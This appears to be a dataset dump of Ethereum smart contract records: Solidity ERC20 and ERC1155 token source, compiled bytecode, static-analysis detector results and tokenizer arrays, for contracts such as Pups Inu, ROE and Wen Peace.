function balanceOf(address holder) public view returns (uint256);
function allowance(address holder, address spender) public view returns (uint256);
function transfer(address to, uint256 amount) public returns (bool success);
function approve(address spender, uint256 amount) public returns (bool success);
function transferFrom(address from, address to, uint256 amount) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed holder, address indexed spender, uint256 amount);
}
contract PupsInu is ERC20 {
using SafeMath for uint256;
string public symbol = "PUPS";
string public name = "Pups Inu";
uint8 public decimals = 18;
uint256 private _totalSupply = 100000000000000000000000000000;
uint256 oneHundredPercent = 100;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
constructor() public {
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address holder) public view returns (uint256) {
return balances[holder];
}
function allowance(address holder, address spender) public view returns (uint256) {
return allowed[holder][spender];
}
function findOnePercent(uint256 amount) private view returns (uint256) {
uint256 roundAmount = amount.ceil(oneHundredPercent);
uint256 fivePercent = roundAmount.mul(oneHundredPercent).div(1000);
return fivePercent;
}
function transfer(address to, uint256 amount) public returns (bool success) {
require(amount <= balances[msg.sender]);
require(to != address(0));
uint256 tokensToBurn = findOnePercent(amount);
uint256 tokensToTransfer = amount.sub(tokensToBurn);
balances[msg.sender] = balances[msg.sender].sub(amount);
balances[to] = balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0), tokensToBurn);
return true;
}
function approve(address spender, uint256 amount) public returns (bool success) {
allowed[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public returns (bool success) {
require(amount <= balances[from]);
require(amount <= allowed[from][msg.sender]);
require(to != address(0));
balances[from] = balances[from].sub(amount);
uint256 tokensToBurn = findOnePercent(amount);
uint256 tokensToTransfer = amount.sub(tokensToBurn);
balances[to] = balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0), tokensToBurn);
return true;
}
} | 0x608060405260043610610099576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461009e578063095ea7b31461012e57806318160ddd146101a157806323b872dd146101cc578063313ce5671461025f57806370a082311461029057806395d89b41146102f5578063a9059cbb14610385578063dd62ed3e146103f8575b600080fd5b3480156100aa57600080fd5b506100b361047d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f35780820151818401526020810190506100d8565b50505050905090810190601f1680156101205780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561013a57600080fd5b506101876004803603604081101561015157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061051b565b604051808215151515815260200191505060405180910390f35b3480156101ad57600080fd5b506101b661060d565b6040518082815260200191505060405180910390f35b3480156101d857600080fd5b50610245600480360360608110156101ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610617565b604051808215151515815260200191505060405180910390f35b34801561026b57600080fd5b50610274610a7e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029c57600080fd5b506102df600480360360208110156102b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a91565b6040518082815260200191505060405180910390f35b34801561030157600080fd5b5061030a610ada565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561034a57808201518184015260208101905061032f565b50505050905090810190601f1680156103775780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561039157600080fd5b506103de600480360360408110156103a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b78565b604051808215151515815260200191505060405180910390f35b34801561040457600080fd5b506104676004803603604081101561041b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e44565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105135780601f106104e857610100808354040283529160200191610513565b820191906000526020600020905b8154815290600101906020018083116104f657829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561066757600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106f257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561072e57600080fd5b61078082600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ecb90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006107ce83610eed565b905060006107e58285610ecb90919063ffffffff16565b905061083981600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f3e90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061089182600354610ecb90919063ffffffff16565b60038190555061092684600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ecb90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001925050509392505050565b600260009054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b705780601f10610b4557610100808354040283529160200191610b70565b820191906000526020600020905b815481529060010190602001808311610b5357829003601f168201915b505050505081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610bc857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c0457600080fd5b6000610c0f83610eed565b90506000610c268285610ecb90919063ffffffff16565b9050610c7a84600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ecb90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d0f81600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f3e90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d6782600354610ecb90919063ffffffff16565b6003819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019250505092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000828211151515610edc57600080fd5b600082840390508091505092915050565b600080610f0560045484610f5f90919063ffffffff16565b90506000610f326103e8610f2460045485610f9a90919063ffffffff16565b610fd590919063ffffffff16565b90508092505050919050565b6000808284019050838110151515610f5557600080fd5b8091505092915050565b600080610f6c8484610f3e565b90506000610f7b826001610ecb565b9050610f90610f8a8286610fd5565b85610f9a565b9250505092915050565b600080831415610fad5760009050610fcf565b60008284029050828482811515610fc057fe5b04141515610fca57fe5b809150505b92915050565b6000808284811515610fe357fe5b049050809150509291505056fea165627a7a7230582048b07a5ff43af8f211e0b53e68927ec5b6bae5549ba80eef1da3f12cc82d82580029 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
26976,
2475,
5243,
19841,
2050,
2575,
2546,
16409,
2497,
2487,
10322,
23833,
4215,
10322,
2487,
2278,
24594,
17465,
19841,
2620,
2050,
2620,
2094,
2620,
2497,
2683,
2050,
2575,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2260,
1011,
2322,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,586 | 0x95632e3c87bc1851ff5f1f55376e392919e3b079 | pragma solidity 0.4.21;
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
emit Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract ROE is ERC20Interface, Pausable {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ROE() public {
symbol = "ROE";
name = "NeoWorld Rare Ore E";
decimals = 18;
_totalSupply = 10000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public whenNotPaused returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public whenNotPaused returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function increaseApproval (address _spender, uint _addedValue) public whenNotPaused
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public whenNotPaused
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public whenNotPaused returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0x6060604052600436106101035763ffffffff60e060020a60003504166306fdde038114610108578063095ea7b31461019257806318160ddd146101c857806323b872dd146101ed578063313ce567146102155780633eaaf86b1461023e5780633f4ba83a146102515780635c975abb14610264578063661884631461027757806370a082311461029957806379ba5097146102b85780638456cb59146102cd5780638da5cb5b146102e057806395d89b411461030f578063a9059cbb14610322578063cae9ca5114610344578063d4ee1d90146103a9578063d73dd623146103bc578063dc39d06d146103de578063dd62ed3e14610400578063f2fde38b14610425575b600080fd5b341561011357600080fd5b61011b610444565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015757808201518382015260200161013f565b50505050905090810190601f1680156101845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019d57600080fd5b6101b4600160a060020a03600435166024356104e2565b604051901515815260200160405180910390f35b34156101d357600080fd5b6101db610553565b60405190815260200160405180910390f35b34156101f857600080fd5b6101b4600160a060020a0360043581169060243516604435610585565b341561022057600080fd5b6102286106b2565b60405160ff909116815260200160405180910390f35b341561024957600080fd5b6101db6106bb565b341561025c57600080fd5b6101b46106c1565b341561026f57600080fd5b6101b4610745565b341561028257600080fd5b6101b4600160a060020a0360043516602435610755565b34156102a457600080fd5b6101db600160a060020a0360043516610858565b34156102c357600080fd5b6102cb610873565b005b34156102d857600080fd5b6101b4610901565b34156102eb57600080fd5b6102f361098a565b604051600160a060020a03909116815260200160405180910390f35b341561031a57600080fd5b61011b610999565b341561032d57600080fd5b6101b4600160a060020a0360043516602435610a04565b341561034f57600080fd5b6101b460048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610add95505050505050565b34156103b457600080fd5b6102f3610c45565b34156103c757600080fd5b6101b4600160a060020a0360043516602435610c54565b34156103e957600080fd5b6101b4600160a060020a0360043516602435610cfe565b341561040b57600080fd5b6101db600160a060020a0360043581169060243516610d91565b341561043057600080fd5b6102cb600160a060020a0360043516610dbc565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104da5780601f106104af576101008083540402835291602001916104da565b820191906000526020600020905b8154815290600101906020018083116104bd57829003601f168201915b505050505081565b60015460009060a060020a900460ff16156104fc57600080fd5b600160a060020a0333811660008181526007602090815260408083209488168084529490915290819020859055600080516020610e2c8339815191529085905190815260200160405180910390a350600192915050565b6000805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8546005540390565b60015460009060a060020a900460ff161561059f57600080fd5b600160a060020a0384166000908152600660205260409020546105c8908363ffffffff610e0616565b600160a060020a038086166000908152600660209081526040808320949094556007815283822033909316825291909152205461060b908363ffffffff610e0616565b600160a060020a0380861660009081526007602090815260408083203385168452825280832094909455918616815260069091522054610651908363ffffffff610e1816565b600160a060020a03808516600081815260066020526040908190209390935591908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60045460ff1681565b60055481565b6000805433600160a060020a039081169116146106dd57600080fd5b60015460a060020a900460ff1615156106f557600080fd5b6001805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a150600190565b60015460a060020a900460ff1681565b600154600090819060a060020a900460ff161561077157600080fd5b50600160a060020a03338116600090815260076020908152604080832093871683529290522054808311156107cd57600160a060020a033381166000908152600760209081526040808320938816835292905290812055610804565b6107dd818463ffffffff610e0616565b600160a060020a033381166000908152600760209081526040808320938916835292905220555b600160a060020a033381166000818152600760209081526040808320948916808452949091529081902054600080516020610e2c833981519152915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526006602052604090205490565b60015433600160a060020a0390811691161461088e57600080fd5b600154600054600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b6000805433600160a060020a0390811691161461091d57600080fd5b60015460a060020a900460ff161561093457600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a150600190565b600054600160a060020a031681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104da5780601f106104af576101008083540402835291602001916104da565b60015460009060a060020a900460ff1615610a1e57600080fd5b600160a060020a033316600090815260066020526040902054610a47908363ffffffff610e0616565b600160a060020a033381166000908152600660205260408082209390935590851681522054610a7c908363ffffffff610e1816565b600160a060020a0380851660008181526006602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60015460009060a060020a900460ff1615610af757600080fd5b600160a060020a0333811660008181526007602090815260408083209489168084529490915290819020869055600080516020610e2c8339815191529086905190815260200160405180910390a383600160a060020a0316638f4ffcb1338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610bdd578082015183820152602001610bc5565b50505050905090810190601f168015610c0a5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610c2b57600080fd5b5af11515610c3857600080fd5b5060019695505050505050565b600154600160a060020a031681565b60015460009060a060020a900460ff1615610c6e57600080fd5b600160a060020a03338116600090815260076020908152604080832093871683529290522054610ca4908363ffffffff610e1816565b600160a060020a033381166000818152600760209081526040808320948916808452949091529081902084905591929091600080516020610e2c83398151915291905190815260200160405180910390a350600192915050565b6000805433600160a060020a03908116911614610d1a57600080fd5b600054600160a060020a038085169163a9059cbb91168460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610d7457600080fd5b5af11515610d8157600080fd5b5050506040518051949350505050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610dd757600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610e1257fe5b50900390565b81810182811015610e2557fe5b9291505056008c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a165627a7a72305820ac07996802b1b2e81240809c4713167837d2e8c8b0b706a8ce1cb085ebeb41710029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
26976,
16703,
2063,
2509,
2278,
2620,
2581,
9818,
15136,
22203,
4246,
2629,
2546,
2487,
2546,
24087,
24434,
2575,
2063,
23499,
24594,
16147,
2063,
2509,
2497,
2692,
2581,
2683,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1018,
1012,
2538,
1025,
3206,
2219,
3085,
1063,
4769,
2270,
3954,
1025,
4769,
2270,
2047,
12384,
2121,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
1035,
2013,
1010,
4769,
25331,
1035,
2000,
1007,
1025,
3853,
2219,
3085,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
1035,
2047,
12384,
2121,
1007,
2270,
2069,
12384,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,587 | 0x9563e35971fb5eb593681b47a6ba11f7f7644de8 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Wen Peace
/// @author: manifold.xyz
import "./ERC1155Creator.sol";
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWXXK00OOOOOOOO00KXXNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOxoc:,'.... ....',:coxOKNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOdc;.. ..;cdOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKkl;. .;lkKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOo;. .;oONMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMNOl' .. .. 'lONMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMWKo, ..,:ldxO00: :00Oxdl:,.. ,oKWMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMNk:. ':ok0XWMMMMMMWl lWMMMMMMWN0ko:' .:kNMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMNx; .:d0NMMMMMMMMMMMMWl lWMMMMMMMMMMMMN0d:. ;xNMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMNk, 'lkXMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMXkl' ,kNMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMWO; .ckNMMMMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMMMMNkc. ;OWMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMXl. 'oKWMMMMMMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMMMMMMWKo' .lXMMMMMMMMMMMMMM //
// MMMMMMMMMMMMWO, 'xNMMMMMMMMMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMMMMMMMMMNx' ,OWMMMMMMMMMMMM //
// MMMMMMMMMMMNd. .dNMMMMMMMMMMMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMMMMMMMMMMMNd. .dNMMMMMMMMMMM //
// MMMMMMMMMMXc .cKMMMMMMMMMMMMMMMMMMMMMMMMMMMMWl lWMMMMMMMMMMMMMMMMMMMMMMMMMMMMKc. cXMMMMMMMMMM //
